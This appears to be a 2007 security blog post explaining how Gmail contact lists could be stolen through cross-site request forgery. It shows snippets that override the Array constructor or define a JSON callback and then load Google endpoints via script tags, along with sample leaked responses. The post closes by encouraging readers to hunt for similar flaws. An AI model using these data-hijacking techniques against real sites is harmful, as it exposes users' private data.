Showing posts with label gmail contact list hack json javascript CSRF. Show all posts
Showing posts with label gmail contact list hack json javascript CSRF. Show all posts

Monday, January 01, 2007

Gmail, XSRF, JSON, Call-Back Hackery

There’s been a lot of press about Googlified’s nicely done Gmail Contact List CSRF Vulnerability, whose effects were similar to mine, although the underlying techniques were different. My hack Gmail hack was more native JavaScript based while this one is JSON related. The subtle details of which point to a larger issue that have to watch out for.

My Gmail CSRF hack worked like this…

Third-Party Web Page:
<* script>
function Array(){

}
<* /script>
<* script src="http://mail.google.com/mail/?_url_scrubbed_">

SRIPT tag CSRF Response:
[
["ct","Your Name","foo@gmail.com"],
["ct","Another Name","bar@gmail.com"]

]

The novelty was I overwrote the anonymous Array constructor to access the contact list data, which should not have been served up through a third-party web page request. Normal anti-CSRF solutions should have been applied here.

Googlified’s hack worked like this…

Third-Party Web Page:
<* script>

function google(a){

}
<* /script>
<* script src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
<* /script>


SRIPT tag CSRF Response:
  1. google ({
  2. Success: true,
  3. Errors: [],
  4. Body: {
  5. AuthToken: {
  6. Value: '********'
  7. },
  8. Contacts: [
  9. {
  10. Id: '***',
  11. Email: 'users at dwr.dev.java.net',
  12. Affinity: ***,
  13. Groups: [
  14. {
  15. id: '^Freq',
  16. value: 'users at dwr.dev.java.net'
  17. }
  18. ],
  19. Addressess: [],
  20. Phoness: [],
  21. Imss: []
  22. },
  23. // Lots more contacts here
  24. ]
  25. }
  26. })

In this case Googlified overwrote the google JSON call-back constructor to access the contact list data.

Normally when JSON is used, an XMLHttpRequest (XHR) pulls in data from an on-domain location, which is then eval’ed in JavaScript space. Strict JSON formatted data cannot be called by SCRIPT SRC= notation from third-party web page because the JavaScript interpreter will not parse it. A label error will appear in the console. This is good because should a JSON feed contain user-sensitive information, a CSRF hack like the above will not be able to compromise it.

When a website wants to allow access to JSON data feeds from third-party web pages to create mash-ups, they’ll use call-backs. A call-back wraps the JSON data in a JavaScript function as defined by the third-party web page. Just like the “google” call-back function in Googlified’s example. Here’s where the rub comes in…

If any JSON feed containing user-sensitive information is wrapped with a call-back and has a predictable URL... then that data is at risk.

Happy hunting!